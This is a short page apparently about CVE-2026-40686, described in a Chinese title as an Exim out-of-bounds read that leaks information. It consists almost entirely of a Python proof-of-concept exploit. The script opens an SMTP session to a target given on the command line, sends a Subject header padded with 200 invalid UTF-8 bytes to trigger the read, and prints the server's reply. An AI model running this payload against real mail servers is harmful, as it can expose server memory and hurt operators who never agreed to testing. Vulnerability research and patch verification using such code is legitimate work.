CVE-2026-40686 Exim越界读取信息泄露漏洞

import socket import sys # PoC for CVE-2026-40686 # Sending malformed UTF-8 headers to trigger out-of-bounds read def send_exploit(target_ip, target_port): try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((target_ip, target_port)) s.recv(1024) # Receive banner # Construct payload with malformed UTF-8 trailing characters # Using a long sequence of invalid continuation bytes malformed_header = "Subject: " + "\x80" * 200 + "\r\n" payload = ( "EHLO pwn.example.com\r\n" "MAIL FROM: <attacker@local>\r\n" "RCPT TO: <postmaster@local>\r\n" "DATA\r\n" "From: <attacker@local>\r\n" "To: <postmaster@local>\r\n" + malformed_header + "\r\n" "Test body\r\n" ".\r\n" "QUIT\r\n" ) s.send(payload.encode('utf-8')) response = s.recv(4096) print("[*] Payload sent.") print("[*] Response from server:") print(response.decode('utf-8', errors='ignore')) s.close() except Exception as e: print(f"Error: {e}") if __name__ == "__main__": # Usage: python script.py <target_ip> <port> if len(sys.argv) > 2: send_exploit(sys.argv[1], int(sys.argv[2])) else: send_exploit("127.0.0.1", 25)